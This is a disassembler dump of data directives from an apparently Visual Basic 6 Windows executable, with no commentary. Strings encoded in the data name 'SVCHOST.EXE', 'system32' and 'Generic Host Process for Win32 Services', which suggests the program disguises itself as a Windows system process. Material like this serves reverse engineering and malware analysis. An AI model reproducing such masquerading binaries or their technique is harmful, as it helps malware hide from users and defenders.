		dd 1FF60h, 1FEFCh, 2FF30h, 2FF10h, 2FF00h, 43000C6Ch, 106CFF68h
		dd 0FF644300h, 0BF4B2EFFh, 0F500h, 686C0000h, 1E5EFFh
		dd 1F50004h, 0AE000000h, 0FEFF5C04h, 1100018Eh,	80000100h
		dd 0FF3C2700h, 400200Bh, 0FF627000h, 6CFF3C35h,	626BFF68h
		dd 0FEFFF4FFh, 6B01205Dh, 5C04FF62h, 3616FFFFh,	0FF626B00h
		dd 6F53DFDh, 4000000h, 4C4DFF64h, 0B4008FFh, 80037h, 4AFF3823h
		dd 0F5h, 382FDB00h, 961CFFh, 0F5h, 0FF646C00h, 800270Ah
		dd 0FF640400h, 8FF4C4Dh, 1F0A40h, 3C270004h, 200BFFh, 60700004h
		dd 0FF3C35FFh, 6BFF646Ch, 0FFF4FF60h, 2205DFEh,	4FF606Bh
		dd 18FFFF5Ch, 606B0036h, 0FF3DFDFFh, 1000142Fh,	142FFF00h
		dd 1000h
off_402AEC	dd offset dword_401768+4 ; DATA	XREF: .text:00401928o
					; .text:00401A45o
		dd 440010h, 3C00CCh, 0
		dd 130000h, 0
		dd 22h,	40000h,	1000000h, 2FF6Ch, 105FF5Ch, 0
		dd 0FF680000h, 0FF640001h, 1, 14h, 20000h, 0
		dd 1FF38h, 2FF3Ch, 0C6C0800h, 0FF744300h, 0FF4B0500h, 0F40700FFh
		dd 0FF7A7000h, 746C0F00h, 0F5FFh, 30FB0000h, 361Ch, 0FF600413h
		dd 0D000808h, 3D0050h, 31FF603Eh, 200FF74h, 54F50002h
		dd 4000000h, 0C0AFF50h,	0F5000800h, 68h, 0AFF4004h, 8000Ch
		dd 75F5h, 0FF200400h, 8000C0Ah,	6EF500h, 40000h, 0C0AFFh
		dd 64F50008h, 4000000h,	0C0AFEE0h, 0F5000800h, 65h, 0AFEC004h
		dd 8000Ch, 72F5h, 0FEA00400h, 8000C0Ah,	52F500h, 80040000h
		dd 0C0AFEh, 54F50008h, 4000000h, 0C0AFE60h, 0F5000800h
		dd 36h,	0AFE4004h, 8000Ch, 46F5h, 0FE200400h, 8000C0Ah
		dd 6FF500h, 40000h, 0C0AFEh, 72F50008h,	4000000h, 0C0AFDE0h
		dd 0F5000800h, 6Dh, 0AFDC004h, 8000Ch, 44F5h, 0FDA00400h
		dd 8000C0Ah, 43F500h, 80040000h, 0C0AFDh, 0F50008h, 4000000h
		dd 4004FF50h, 30EFFBFFh, 0FF2004FFh, 0FF10EFFBh, 0FBFF0004h
		dd 4FEF0EFh, 0EFFBFEE0h, 0C004FED0h, 0B0EFFBFEh, 0FEA004FEh
		dd 0FE90EFFBh, 0FBFE8004h, 4FE70EFh, 0EFFBFE60h, 4004FE50h
		dd 30EFFBFEh, 0FE2004FEh, 0FE10EFFBh, 0FBFE0004h, 4FDF0EFh
		dd 0EFFBFDE0h, 0C004FDD0h, 0B0EFFBFDh, 0FDA004FDh, 0FD90EFFBh
		dd 0FBFD8004h, 0FDFD70EFh, 4FF60FEh, 6C34FD6Ch,	706CFD6Ch
		dd 0F5FFh, 385E0000h, 71001000h, 6C3CFD68h, 7071FD68h
		dd 432FFh, 0FD6CFF60h, 70003E36h, 40FF50FDh, 20FF30FFh
		dd 0FF10FFh, 0E0FEF0FFh, 0C0FED0FEh, 0A0FEB0FEh, 80FE90FEh
		dd 60FE70FEh, 40FE50FEh, 20FE30FEh, 0FE10FEh, 0E0FDF0FEh
		dd 0C0FDD0FDh, 0A0FDB0FDh, 80FD90FDh, 6C0E00FDh, 0F5FF70h
		dd 0CC000000h, 2D21Ch, 2B00F423h, 0F5FD66h, 0F5000000h
		dd 0Eh,	5EFF706Ch, 100039h, 3CFD6871h, 71FD686Ch, 3100FF64h
		dd 0F5h, 0FF500400h, 8000C0Ah, 0FF500400h, 0F5FF646Ch
		dd 1, 0FF4004AAh, 0C000D0Ah, 0FF400400h, 0FF683160h, 50000436h
		dd 0FF40FFh, 0FF686C2Eh, 34FF6004h, 6CFF606Ch, 1F5FF64h
		dd 0AA000000h, 0DF5h, 0FF706C00h, 1000390Ah, 606C3C00h
		dd 0FF6804FFh, 602F58FCh, 6C1F00FFh, 6804FF64h,	0FD544DFFh
		dd 50044008h, 0F0AFFh, 5004000Ch, 683160FFh, 0FF5035FFh
		dd 1F53000h, 6C000000h,	746CFF68h, 0F5FFh, 0FDFE0000h
		dd 0F5h, 706CCC00h, 0FD6804FFh,	0D000808h, 3D0058h, 0CCFD686Ch
		dd 2D01CC4h, 0FFF40700h, 0FF7A70h, 2E31E05h, 2000200h
		dd 706C0F00h, 0F5FFh, 0C3C70000h, 381Dh, 3C0B13h, 50190000h
		dd 0FD5008FDh, 1A00480Eh, 0FD50h, 102FFFh, 0EFFB0002h
off_402E3C	dd offset dword_401768+4 ; DATA	XREF: .text:00401934o
					; .text:00401A81o
		dd 22C000Ch, 2C0300h, 0
		dd 0C0h, 0
		dd 14h,	20000h,	0
		dd 1FF68h, 1FF74h, 94h,	220000h, 0
		dd 1FF60h, 1FD6Ch, 3FD50h, 2FF50h, 2FF40h, 2FF30h, 2FF20h
		dd 2FF10h, 2FF00h, 2FEF0h, 2FEE0h, 2FED0h, 2FEC0h, 2FEB0h
		dd 2FEA0h, 2FE90h, 2FE80h, 2FE70h, 2FE60h, 2FE50h, 2FE40h
		dd 2FE30h, 2FE20h, 2FE10h, 2FE00h, 2FDF0h, 2FDE0h, 2FDD0h
		dd 2FDC0h, 2FDB0h, 2FDA0h, 2FD90h, 2FD80h, 2FD70h, 1AD0001h
		dd 43000C6Ch, 2EFFFF68h, 20F5h,	0FF540400h, 8000C0Ah, 0FF540400h
		dd 100F5h, 0FF440400h, 0C000D0Ah, 0FF440400h, 0FF643160h
		dd 54000436h, 0F5FF44FFh, 53h, 0AFF5404h, 8000Ch, 79F5h
		dd 0FF440400h, 8000C0Ah, 73F500h, 24040000h, 0C0AFFh, 74F50008h
		dd 4000000h, 0C0AFF04h,	0F5000800h, 65h, 0AFEE404h, 8000Ch
		dd 6DF5h, 0FEC40400h, 8000C0Ah,	52F500h, 0A4040000h, 0C0AFEh
		dd 6FF50008h, 4000000h,	0C0AFE84h, 0F5000800h, 6Fh, 0AFE6404h
		dd 8000Ch, 74F5h, 0FE440400h, 8000C0Ah,	100F500h, 646C0000h
		dd 0FE2804FFh, 0FE286C34h, 4FF5404h, 0EFFBFF44h, 2404FF34h
		dd 14EFFBFFh, 0FF0404FFh, 0FEF4EFFBh, 0FBFEE404h, 4FED4EFh
		dd 0EFFBFEC4h, 0A404FEB4h, 94EFFBFEh, 0FE8404FEh, 0FE74EFFBh
		dd 0FBFE6404h, 4FE54EFh, 0EFFBFE44h, 0FEFDFE34h, 2C04FE30h
		dd 2C6C34FEh, 0E5EFEh, 2471000Ch, 286C3CFEh, 0FF6404FEh
		dd 246C58FCh, 0FF6404FEh, 8FE144Dh, 0FE040440h,	0C000F0Ah
		dd 0FE040400h, 5CF5h, 0FDF40400h, 8000C0Ah, 0FDF40400h
		dd 0FDE4EFFBh, 73F5h, 0FDD40400h, 8000C0Ah, 0FDD40400h
		dd 0FDC4EFFBh, 79F5h, 0FDB40400h, 8000C0Ah, 0FDB40400h
		dd 0FDA4EFFBh, 73F5h, 0FD940400h, 8000C0Ah, 0FD940400h
		dd 0FD84EFFBh, 74F5h, 0FD740400h, 8000C0Ah, 0FD740400h
		dd 0FD64EFFBh, 65F5h, 0FD540400h, 8000C0Ah, 0FD540400h
		dd 0FD44EFFBh, 6DF5h, 0FD340400h, 8000C0Ah, 0FD340400h
		dd 0FD24EFFBh, 33F5h, 0FD140400h, 8000C0Ah, 0FD140400h
		dd 0FD04EFFBh, 32F5h, 0FCF40400h, 8000C0Ah, 0FCF40400h
		dd 0FCE4EFFBh, 0FF643160h, 30000632h, 28FE2CFEh, 4C36FEh
		dd 0FD44FD54h, 0FD24FD34h, 0FD04FD14h, 0FCE4FCF4h, 0FF44FF54h
		dd 0FF24FF34h, 0FF04FF14h, 0FEE4FEF4h, 0FEC4FED4h, 0FEA4FEB4h
		dd 0FE84FE94h, 0FE64FE74h, 0FE44FE54h, 0FE04FE34h, 0FDE4FDF4h
		dd 0FDC4FDD4h, 0FDA4FDB4h, 0FD84FD94h, 0FD64FD74h, 1F5h
		dd 0FF640400h, 8FE144Dh, 0FF540440h, 0C00190Ah,	0FF540400h
		dd 28FCD43Ah, 33FB5D00h, 1CFF5435h, 646C0386h, 0FE1446FFh
		dd 53F5h, 0FF540400h, 8000C0Ah,	0FF540400h, 0FF44EFFBh
		dd 56F5h, 0FF340400h, 8000C0Ah,	0FF340400h, 0FF24EFFBh
		dd 43F5h, 0FF140400h, 8000C0Ah,	0FF140400h, 0FF04EFFBh
		dd 48F5h, 0FEF40400h, 8000C0Ah,	0FEF40400h, 0FEE4EFFBh
		dd 4FF5h, 0FED40400h, 8000C0Ah,	0FED40400h, 0FEC4EFFBh
		dd 53F5h, 0FEB40400h, 8000C0Ah,	0FEB40400h, 0FEA4EFFBh
		dd 54F5h, 0FE940400h, 8000C0Ah,	0FE940400h, 0FE84EFFBh
		dd 2EF5h, 0FE740400h, 8000C0Ah,	0FE740400h, 0FE64EFFBh
		dd 45F5h, 0FE540400h, 8000C0Ah,	0FE540400h, 0FE44EFFBh
		dd 58F5h, 0FE340400h, 8000C0Ah,	0FE340400h, 0FE04EFFBh
		dd 45F5h, 0FDF40400h, 8000C0Ah,	0FDF40400h, 0FDE4EFFBh
		dd 0FF643160h, 54002C36h, 34FF44FFh, 14FF24FFh,	0F4FF04FFh
		dd 0D4FEE4FEh, 0B4FEC4FEh, 94FEA4FEh, 74FE84FEh, 54FE64FEh
		dd 34FE44FEh, 0F4FE04FEh, 1EFDE4FDh, 646C04A1h,	281BFFh
		dd 0FF44462Ah, 53F5h, 0FF540400h, 8000C0Ah, 0FF540400h
		dd 0FF34EFFBh, 56F5h, 0FF240400h, 8000C0Ah, 0FF240400h
		dd 0FF14EFFBh, 43F5h, 0FF040400h, 8000C0Ah, 0FF040400h
		dd 0FEF4EFFBh, 48F5h, 0FEE40400h, 8000C0Ah, 0FEE40400h
		dd 0FED4EFFBh, 4FF5h, 0FEC40400h, 8000C0Ah, 0FEC40400h
		dd 0FEB4EFFBh, 53F5h, 0FEA40400h, 8000C0Ah, 0FEA40400h
		dd 0FE94EFFBh, 54F5h, 0FE840400h, 8000C0Ah, 0FE840400h
		dd 0FE74EFFBh, 2EF5h, 0FE640400h, 8000C0Ah, 0FE640400h
		dd 0FE54EFFBh, 45F5h, 0FE440400h, 8000C0Ah, 0FE440400h
		dd 0FE34EFFBh, 58F5h, 0FE040400h, 8000C0Ah, 0FE040400h
		dd 0FDF4EFFBh, 45F5h, 0FDE40400h, 8000C0Ah, 0FDE40400h
		dd 0FDD4EFFBh, 0FF643160h, 44002E36h, 34FF54FFh, 14FF24FFh
		dd 0F4FF04FFh, 0D4FEE4FEh, 0B4FEC4FEh, 94FEA4FEh, 74FE84FEh
		dd 54FE64FEh, 34FE44FEh, 0F4FE04FEh, 0D4FDE4FDh, 0F5FDh
		dd 80F50000h, 0F5000000h, 3, 0F5h, 0F500h, 0F50000h, 6C800000h
		dd 3004FF64h, 306C34FEh, 335EFEh, 2471001Ch, 306C3CFEh
		dd 0FF6404FEh, 246C58FCh, 0FCD071FEh, 6CFE302Fh, 0FFF5FCD0h
		dd 0CCFFFFFFh, 405731Ch, 0BC04FCB4h, 0FCC404FCh, 0AFCD06Ch
		dd 100034h, 0FCD06C3Ch,	400250Ah, 0F53C00h, 0F5000000h
		dd 80h,	3F5h, 0F500h, 0F50000h,	0F5000000h, 40000000h
		dd 4FF686Ch, 6C34FE30h,	335EFE30h, 71001C00h, 6C3CFE24h
		dd 6804FE30h, 6C58FCFFh, 0CC71FE24h, 0FE302FFCh, 0F5FCCC6Ch
		dd 0FFFFFFFFh, 5731CCCh, 4FCB404h, 0C404FCBCh, 0FCCC6CFCh
		dd 1000350Ah, 0CC6C3C00h, 250AFCh, 0FF3C0004h, 1000102Fh
		dd 53F500h
off_40347C	dd offset dword_401768+4 ; DATA	XREF: .text:00401924o
					; .text:00401A31o
		dd 2C8000Ch, 30057Ch, 0
		dd 130000h, 0
		dd 18h,	30000h,	1000000h, 2FF6Ch, 1FF68h, 1FF64h, 0B0h
		dd 290000h, 0
		dd 1FE30h, 1FE2Ch, 1FE28h, 2FF54h, 2FF44h, 2FF34h, 2FF24h
		dd 2FF14h, 2FF04h, 2FEF4h, 2FEE4h, 2FED4h, 2FEC4h, 2FEB4h
		dd 2FEA4h, 2FE94h, 2FE84h, 2FE74h, 2FE64h, 2FE54h, 2FE44h
		dd 2FE34h, 2FE04h, 2FDF4h, 2FDE4h, 2FDD4h, 2FDC4h, 2FDB4h
		dd 2FDA4h, 2FD94h, 2FD84h, 2FD74h, 2FD64h, 2FD54h, 2FD44h
		dd 2FD34h, 2FD24h, 2FD14h, 2FD04h, 2FCF4h, 2FCE4h, 2EFF0400h
		dd 0FF4B0500h, 20200FFh, 54F500h, 3C040000h, 0C0AFFh, 68F50008h
		dd 4000000h, 0C0AFF2Ch,	0F5000800h, 75h, 0AFF0C04h, 8000Ch
		dd 6EF5h, 0FEEC0400h, 8000C0Ah,	64F500h, 0CC040000h, 0C0AFEh
		dd 65F50008h, 4000000h,	0C0AFEACh, 0F5000800h, 72h, 0AFE8C04h
		dd 8000Ch, 52F5h, 0FE6C0400h, 8000C0Ah,	54F500h, 4C040000h
		dd 0C0AFEh, 36F50008h, 4000000h, 0C0AFE2Ch, 0F5000800h
		dd 46h,	0AFE0C04h, 8000Ch, 6FF5h, 0FDEC0400h, 8000C0Ah
		dd 72F500h, 0CC040000h,	0C0AFDh, 6DF50008h, 4000000h, 0C0AFDACh
		dd 0F5000800h, 44h, 0AFD8C04h, 8000Ch, 43F5h, 0FD6C0400h
		dd 8000C0Ah, 0F500h, 3C040000h,	0FF2C04FFh, 0FF1CEFFBh
		dd 0FBFF0C04h, 4FEFCEFh, 0EFFBFEECh, 0CC04FEDCh, 0BCEFFBFEh
		dd 0FEAC04FEh, 0FE9CEFFBh, 0FBFE8C04h, 4FE7CEFh, 0EFFBFE6Ch
		dd 4C04FE5Ch, 3CEFFBFEh, 0FE2C04FEh, 0FE1CEFFBh, 0FBFE0C04h
		dd 4FDFCEFh, 0EFFBFDECh, 0CC04FDDCh, 0BCEFFBFDh, 0FDAC04FDh
		dd 0FD9CEFFBh, 0FBFD8C04h, 4FD7CEFh, 0EFFBFD6Ch, 0FEFDFD5Ch
		dd 5404FD58h, 546C34FDh, 0FF686CFDh, 0F5h, 385E00h, 50710010h
		dd 506C3CFDh, 0FF6871FDh, 58000432h, 36FD54FDh,	0FD5C003Eh
		dd 0FF2CFF3Ch, 0FF0CFF1Ch, 0FEECFEFCh, 0FECCFEDCh, 0FEACFEBCh
		dd 0FE8CFE9Ch, 0FE6CFE7Ch, 0FE4CFE5Ch, 0FE2CFE3Ch, 0FE0CFE1Ch
		dd 0FDECFDFCh, 0FDCCFDDCh, 0FDACFDBCh, 0FD8CFD9Ch, 0FD6CFD7Ch
		dd 686C0E00h, 0F5FFh, 1CCC0000h, 23000928h, 4E2B00F4h
		dd 0F5FDh, 0EF50000h, 6C000000h, 395EFF68h, 71001000h
		dd 6C3CFD50h, 5C71FD50h, 6C3B00FFh, 5804FF60h, 586C34FDh
		dd 0FF5C6CFDh, 1F5h, 0DF5AA00h,	6C000000h, 390AFF68h, 3C001000h
		dd 4FD586Ch, 58FCFD54h,	6CFD546Ch, 47FF60h, 43200h, 0FD54FD58h
		dd 5C6C3500h, 0FF606CFFh, 4FD5843h, 3C4DFD58h, 44008FDh
		dd 0F0AFF3Ch, 6C000C00h, 606CFD58h, 47FFh, 60FF3C04h, 0FEFF606Ch
		dd 2F00000Fh, 3C35FD58h, 0F50102FFh, 1,	46FF606Ch, 47F5FD3Ch
		dd 4000000h, 0C0AFF3Ch,	4000800h, 65F5FF3Ch, 4000000h
		dd 0C0AFF2Ch, 4000800h,	0EFFBFF2Ch, 6EF5FF1Ch, 4000000h
		dd 0C0AFF0Ch, 4000800h,	0EFFBFF0Ch, 65F5FEFCh, 4000000h
		dd 0C0AFEECh, 4000800h,	0EFFBFEECh, 72F5FEDCh, 4000000h
		dd 0C0AFECCh, 4000800h,	0EFFBFECCh, 69F5FEBCh, 4000000h
		dd 0C0AFEACh, 4000800h,	0EFFBFEACh, 63F5FE9Ch, 4000000h
		dd 0C0AFE8Ch, 4000800h,	0EFFBFE8Ch, 20F5FE7Ch, 4000000h
		dd 0C0AFE6Ch, 4000800h,	0EFFBFE6Ch, 48F5FE5Ch, 4000000h
		dd 0C0AFE4Ch, 4000800h,	0EFFBFE4Ch, 6FF5FE3Ch, 4000000h
		dd 0C0AFE2Ch, 4000800h,	0EFFBFE2Ch, 73F5FE1Ch, 4000000h
		dd 0C0AFE0Ch, 4000800h,	0EFFBFE0Ch, 74F5FDFCh, 4000000h
		dd 0C0AFDECh, 4000800h,	0EFFBFDECh, 20F5FDDCh, 4000000h
		dd 0C0AFDCCh, 4000800h,	0EFFBFDCCh, 50F5FDBCh, 4000000h
		dd 0C0AFDACh, 4000800h,	0EFFBFDACh, 72F5FD9Ch, 4000000h
		dd 0C0AFD8Ch, 4000800h,	0EFFBFD8Ch, 6FF5FD7Ch, 4000000h
		dd 0C0AFD6Ch, 4000800h,	0EFFBFD6Ch, 63F5FD5Ch, 4000000h
		dd 0C0AFD2Ch, 4000800h,	0EFFBFD2Ch, 65F5FD1Ch, 4000000h
		dd 0C0AFD0Ch, 4000800h,	0EFFBFD0Ch, 73F5FCFCh, 4000000h
		dd 0C0AFCECh, 4000800h,	0EFFBFCECh, 73F5FCDCh, 4000000h
		dd 0C0AFCCCh, 4000800h,	0EFFBFCCCh, 20F5FCBCh, 4000000h
		dd 0C0AFCACh, 4000800h,	0EFFBFCACh, 66F5FC9Ch, 4000000h
		dd 0C0AFC8Ch, 4000800h,	0EFFBFC8Ch, 6FF5FC7Ch, 4000000h
		dd 0C0AFC6Ch, 4000800h,	0EFFBFC6Ch, 72F5FC5Ch, 4000000h
		dd 0C0AFC4Ch, 4000800h,	0EFFBFC4Ch, 20F5FC3Ch, 4000000h
		dd 0C0AFC2Ch, 4000800h,	0EFFBFC2Ch, 57F5FC1Ch, 4000000h
		dd 0C0AFC0Ch, 4000800h,	0EFFBFC0Ch, 69F5FBFCh, 4000000h
		dd 0C0AFBECh, 4000800h,	0EFFBFBECh, 6EF5FBDCh, 4000000h
		dd 0C0AFBCCh, 4000800h,	0EFFBFBCCh, 33F5FBBCh, 4000000h
		dd 0C0AFBACh, 4000800h,	0EFFBFBACh, 32F5FB9Ch, 4000000h
		dd 0C0AFB8Ch, 4000800h,	0EFFBFB8Ch, 20F5FB7Ch, 4000000h
		dd 0C0AFB6Ch, 4000800h,	0EFFBFB6Ch, 53F5FB5Ch, 4000000h
		dd 0C0AFB4Ch, 4000800h,	0EFFBFB4Ch, 65F5FB3Ch, 4000000h
		dd 0C0AFB2Ch, 4000800h,	0EFFBFB2Ch, 72F5FB1Ch, 4000000h
		dd 0C0AFB0Ch, 4000800h,	0EFFBFB0Ch, 76F5FAFCh, 4000000h
		dd 0C0AFAECh, 4000800h,	0EFFBFAECh, 69F5FADCh, 4000000h
		dd 0C0AFACCh, 4000800h,	0EFFBFACCh, 63F5FABCh, 4000000h
		dd 0C0AFAACh, 4000800h,	0EFFBFAACh, 65F5FA9Ch, 4000000h
		dd 0C0AFA8Ch, 4000800h,	0EFFBFA8Ch, 73F5FA7Ch, 4000000h
		dd 0C0AFA6Ch, 4000800h,	0EFFBFA6Ch, 0F5FA5Ch, 0FE000000h
		dd 28FA4CFEh, 0FA3Ch, 2C3CFB5Dh, 1F5FAh, 606C0000h, 0F6CC46FFh
		dd 53F5h, 0FA1C0400h, 8000C0Ah,	0FA1C0400h, 65F5h, 0FA0C0400h
		dd 8000C0Ah, 0FA0C0400h, 0F9FCEFFBh, 72F5h, 0F9EC0400h
		dd 8000C0Ah, 0F9EC0400h, 0F9DCEFFBh, 76F5h, 0F9CC0400h
		dd 8000C0Ah, 0F9CC0400h, 0F9BCEFFBh, 69F5h, 0F9AC0400h
		dd 8000C0Ah, 0F9AC0400h, 0F99CEFFBh, 63F5h, 0F98C0400h
		dd 8000C0Ah, 0F98C0400h, 0F97CEFFBh, 65F5h, 0F96C0400h
		dd 8000C0Ah, 0F96C0400h, 0F95CEFFBh, 73F5h, 0F94C0400h
		dd 8000C0Ah, 0F94C0400h, 0F93CEFFBh, 20F5h, 0F92C0400h
		dd 8000C0Ah, 0F92C0400h, 0F91CEFFBh, 61F5h, 0F90C0400h
		dd 8000C0Ah, 0F90C0400h, 0F8FCEFFBh, 6EF5h, 0F8EC0400h
		dd 8000C0Ah, 0F8EC0400h, 0F8DCEFFBh, 64F5h, 0F8CC0400h
		dd 8000C0Ah, 0F8CC0400h, 0F8BCEFFBh, 20F5h, 0F8AC0400h
		dd 8000C0Ah, 0F8AC0400h, 0F89CEFFBh, 43F5h, 0F88C0400h
		dd 8000C0Ah, 0F88C0400h, 0F87CEFFBh, 6FF5h, 0F86C0400h
		dd 8000C0Ah, 0F86C0400h, 0F85CEFFBh, 6EF5h, 0F84C0400h
		dd 8000C0Ah, 0F84C0400h, 0F83CEFFBh, 74F5h, 0F82C0400h
		dd 8000C0Ah, 0F82C0400h, 0F81CEFFBh, 72F5h, 0F80C0400h
		dd 8000C0Ah, 0F80C0400h, 0F7FCEFFBh, 6FF5h, 0F7EC0400h
		dd 8000C0Ah, 0F7EC0400h, 0F7DCEFFBh, 6CF5h, 0F7CC0400h
		dd 8000C0Ah, 0F7CC0400h, 0F7BCEFFBh, 6CF5h, 0F7AC0400h
		dd 8000C0Ah, 0F7AC0400h, 0F79CEFFBh, 65F5h, 0F78C0400h
		dd 8000C0Ah, 0F78C0400h, 0F77CEFFBh, 72F5h, 0F76C0400h
		dd 8000C0Ah, 0F76C0400h, 0F75CEFFBh, 20F5h, 0F74C0400h
		dd 8000C0Ah, 0F74C0400h, 0F73CEFFBh, 61F5h, 0F72C0400h
		dd 8000C0Ah, 0F72C0400h, 0F71CEFFBh, 70F5h, 0F70C0400h
		dd 8000C0Ah, 0F70C0400h, 0F6FCEFFBh, 70F5h, 0F6EC0400h
		dd 8000C0Ah, 0F6EC0400h, 0F6DCEFFBh, 0F5h, 0BCFEFE00h
		dd 0F6AC28F6h, 0FB5D0000h, 0FBF69C3Ch, 0FFF68C1Fh, 108361Bh
		dd 0F76CF77Ch, 0F74CF75Ch, 0F72CF73Ch, 0F70CF71Ch, 0F6ECF6FCh
		dd 0F6BCF6DCh, 0F94CF95Ch, 0F92CF93Ch, 0F90CF91Ch, 0F8ECF8FCh
		dd 0F8CCF8DCh, 0F8ACF8BCh, 0F88CF89Ch, 0F86CF87Ch, 0F84CF85Ch
		dd 0F82CF83Ch, 0F80CF81Ch, 0F7ECF7FCh, 0F7CCF7DCh, 0F7ACF7BCh
		dd 0F78CF79Ch, 0FB4CFB5Ch, 0FB2CFB3Ch, 0FB0CFB1Ch, 0FAECFAFCh
		dd 0FACCFADCh, 0FAACFABCh, 0FA8CFA9Ch, 0FA6CFA7Ch, 0FA4CFA5Ch
		dd 0FA0CFA1Ch, 0F9ECF9FCh, 0F9CCF9DCh, 0F9ACF9BCh, 0F98CF99Ch
		dd 0F96CF97Ch, 0FD2CFD5Ch, 0FD0CFD1Ch, 0FCECFCFCh, 0FCCCFCDCh
		dd 0FCACFCBCh, 0FC8CFC9Ch, 0FC6CFC7Ch, 0FC4CFC5Ch, 0FC2CFC3Ch
		dd 0FC0CFC1Ch, 0FBECFBFCh, 0FBCCFBDCh, 0FBACFBBCh, 0FB8CFB9Ch
		dd 0FB6CFB7Ch, 0FF2CFF3Ch, 0FF0CFF1Ch, 0FEECFEFCh, 0FECCFEDCh
		dd 0FEACFEBCh, 0FE8CFE9Ch, 0FE6CFE7Ch, 0FE4CFE5Ch, 0FE2CFE3Ch
		dd 0FE0CFE1Ch, 0FDECFDFCh, 0FDCCFDDCh, 0FDACFDBCh, 0FD8CFD9Ch
		dd 0FD6CFD7Ch, 9261Ch, 2B00F41Ah, 0F5FD4Eh, 0F5000000h
		dd 10h,	0AFF686Ch, 100039h, 0A0A003Ch, 3Ah, 0FF4C74h, 0FF686C1Ah
		dd 4003B5Eh, 0FD507100h, 0FD506C3Ch, 0F5h, 261CCC00h, 0A130009h
		dd 3Ah,	0AFFF4C6Fh, 0EB02F4EDh,	9211CDCh, 261E0500h, 1E050009h
		dd 20008EFh, 0F000200h,	0F5FF686Ch, 0
		dd 0B1DC3C7h, 0B130000h, 3Ch, 8F68819h,	480EF688h, 0F6881A00h
		dd 2FFF0000h, 10000Ch
off_403EB0	dd offset dword_401768+4 ; DATA	XREF: .text:00401930o
					; .text:00401A6Do
		dd 8F40008h, 340954h, 0
		dd 130268h, 0
		dd 1Ah,	20001h,	1000000h, 2FF6Ch, 4FF60h, 702852FCh, 0F50000FFh
		dd 234h, 8A0000h, 0
		dd 1FD58h, 1FD54h, 3F688h, 2FF3Ch, 2FF2Ch, 2FF1Ch, 2FF0Ch
		dd 2FEFCh, 2FEECh, 2FEDCh, 2FECCh, 2FEBCh, 2FEACh, 2FE9Ch
		dd 2FE8Ch, 2FE7Ch, 2FE6Ch, 2FE5Ch, 2FE4Ch, 2FE3Ch, 2FE2Ch
		dd 2FE1Ch, 2FE0Ch, 2FDFCh, 2FDECh, 2FDDCh, 2FDCCh, 2FDBCh
		dd 2FDACh, 2FD9Ch, 2FD8Ch, 2FD7Ch, 2FD6Ch, 2FD5Ch, 2FD2Ch
		dd 2FD1Ch, 2FD0Ch, 2FCFCh, 2FCECh, 2FCDCh, 2FCCCh, 2FCBCh
		dd 2FCACh, 2FC9Ch, 2FC8Ch, 2FC7Ch, 2FC6Ch, 2FC5Ch, 2FC4Ch
		dd 2FC3Ch, 2FC2Ch, 2FC1Ch, 2FC0Ch, 2FBFCh, 2FBECh, 2FBDCh
		dd 2FBCCh, 2FBBCh, 2FBACh, 2FB9Ch, 2FB8Ch, 2FB7Ch, 2FB6Ch
		dd 2FB5Ch, 2FB4Ch, 2FB3Ch, 2FB2Ch, 2FB1Ch, 2FB0Ch, 2FAFCh
		dd 2FAECh, 2FADCh, 2FACCh, 2FABCh, 2FAACh, 2FA9Ch, 2FA8Ch
		dd 2FA7Ch, 2FA6Ch, 2FA5Ch, 2FA4Ch, 2FA2Ch, 2FA1Ch, 2FA0Ch
		dd 2F9FCh, 2F9ECh, 2F9DCh, 2F9CCh, 2F9BCh, 2F9ACh, 2F99Ch
		dd 2F98Ch, 2F97Ch, 2F96Ch, 2F95Ch, 2F94Ch, 2F93Ch, 2F92Ch
		dd 2F91Ch, 2F90Ch, 2F8FCh, 2F8ECh, 2F8DCh, 2F8CCh, 2F8BCh
		dd 2F8ACh, 2F89Ch, 2F88Ch, 2F87Ch, 2F86Ch, 2F85Ch, 2F84Ch
		dd 2F83Ch, 2F82Ch, 2F81Ch, 2F80Ch, 2F7FCh, 2F7ECh, 2F7DCh
		dd 2F7CCh, 2F7BCh, 2F7ACh, 2F79Ch, 2F78Ch, 2F77Ch, 2F76Ch
		dd 2F75Ch, 2F74Ch, 2F73Ch, 2F72Ch, 2F71Ch, 2F70Ch, 2F6FCh
		dd 2F6ECh, 2F6DCh, 2F6BCh, 2F69Ch, 2F68Ch, 1AD0002h, 672h
		dd 5000200h, 0FFFF4Bh, 400F41Dh, 5FF78h, 12400h, 200140Dh
		dd 0FF780800h, 3007C0Dh, 0FF781A00h, 5C041F00h,	40AFFh
		dd 5C040004h, 4CEBFBFFh, 0FF3C28FFh, 0FB5D0000h, 0FF5C3574h
		dd 4E31Ch, 1F566h, 5C040000h, 40AFFh, 5C040004h, 0FF3C3AFFh
		dd 0F50005h, 0FE000000h, 28FF4CFEh, 0FF14h, 2C70FB5Dh
		dd 1F5FFh, 4040000h, 40AFFh, 4040004h, 0FEF43AFFh, 0F50006h
		dd 0FE000000h, 28FEE4FEh, 0FED4h, 0C470FB5Dh, 0B41FFBFEh
		dd 361BFFFEh, 0FF5C0008h, 0FF04FF4Ch, 4E1CFEE4h, 0F5320002h
		dd 1, 0AFF5C04h, 40004h, 3AFF5C04h, 6FF3Ch, 0F5h, 4CFEFE00h
		dd 0FF1428FFh, 0FB5D0000h, 43674h, 0FF4CFF5Ch, 1941Ch
		dd 0FF5C045Ch, 400040Ah, 1F500h, 4C040000h, 40AFFh, 4C040004h
		dd 0FF3C3AFFh, 0F50006h, 0FE000000h, 28FF2CFEh,	2FF14h
		dd 0FF049CFBh, 0FEE4F6FCh, 0F5FEE404h, 2, 4FF5C04h, 70AFEC4h
		dd 4001000h, 3160FEC4h,	0A36FF28h, 2CFF4C00h, 0E4FF5CFFh
		dd 0FEC4FEh, 0FF5C045Ah, 400040Ah, 0FF4C0400h, 400040Ah
		dd 0F500h, 0FFF50000h, 1BFFFFFFh, 4C040006h, 0B0FEFDFFh
		dd 85EFEh, 0AC710010h, 0FF2C27FEh, 0F5FEAC6Ch, 2, 0FF5C04AAh
		dd 0AFF0404h, 100007h, 60FF0404h, 2FFF2431h, 836FEB0h
		dd 5CFF4C00h, 4FF2CFFh,	2491EFFh, 5C000200h, 0AFF5C04h
		dd 40004h, 1F5h, 0FF4C0400h, 400040Ah, 0FF4C0400h, 5FF3C3Ah
		dd 0F500h, 0FEFE0000h, 1428FF2Ch, 0FB0001FFh, 0FCFF049Ch
		dd 4FEE4F6h, 1F5FEE4h, 4000000h, 0C404FF5Ch, 70AFEh, 0C4040010h
		dd 283160FEh, 0A36FFh, 0FF2CFF4Ch, 0FEE4FF5Ch, 5700FEC4h
